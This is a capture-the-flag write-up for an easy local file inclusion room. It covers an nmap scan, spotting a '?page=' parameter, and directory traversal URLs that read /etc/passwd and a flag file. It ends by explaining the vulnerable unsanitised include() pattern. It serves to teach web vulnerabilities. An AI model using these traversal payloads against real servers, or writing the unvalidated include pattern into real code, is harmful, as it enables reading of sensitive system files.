CTF Room: Lofi

Link to room
Difficulty: Easy
Category: Web (LFI)

1. Brief

Want to hear some lo-fi beats, to relax or study to? We've got you covered!

2. Questions

Climb the filesystem to find the flag!

NMAP Scan

bashnmap -sV -T4 lofi.thm

bashPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

Knowing this is a web room, I had a feeling that I may need to check out port 80, so that we shall do now. Note that Apache 2.2.22 is quite old and so the chances of vulnerabilities is high! (good news)

Source Code Analysis

bashLFI Discovery

bash<li><a href="/?page=relax.php">Relax</a></li>
<li><a href="/?page=sleep.php">Sleep</a></li>
<li><a href="/?page=chill.php">Chill</a></li>
<li><a href="/?page=coffee.php">Coffee</a></li>
<li><a href="/?page=vibe.php">Vibe</a></li>
<li><a href="/?page=game.php">Game</a></li>

Above, we see that we are using the '?page=' parameter to control what content is displayed, this is a type of file inclusion. Lets see what files have been included by mistake...

Testing LFI

bashhttp://lofi.thm/?page=../../../../etc/passwd

...

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
...

Success! We get the file and its contents, now if we can get to /etc/passwd, the chances are we can get to the flag wherever it may be.

Getting the flag

bashhttp://lofi.thm/?page=../../../../flag.txt

Flag

bash

Great Success!

3. Summary

This is a really nice beginner room in my opinion, no heavy technical skillset required, all done within the browser allowing a beginner to understand LFI and the dangers of file inclusion within web apps. It also teaches that no matter how many big vulnerability scanners we may have such as Nessus or Nuclei; it is always worth looking in the source code :)

4. Local File Inclusion (LFI)

Local File Inclusion (LFI) is a web application vulnerability that occurs when a server includes files via user input without proper validation, allowing attackers to access or execute sensitive files on the server. LFI exploits poor sanitization (e.g., bypassing ../ checks) to read files like /etc/passwd or configuration files, potentially leading to remote code execution.

In our web app, the LFI can be traced back to a user-supplied input such as:

textinclude($_GET["page"]);

Without validation or sanitisation, the attacker is free to move through the directories of the web server to grab sensitive files potentially leading to compromise of the web server itself or full system.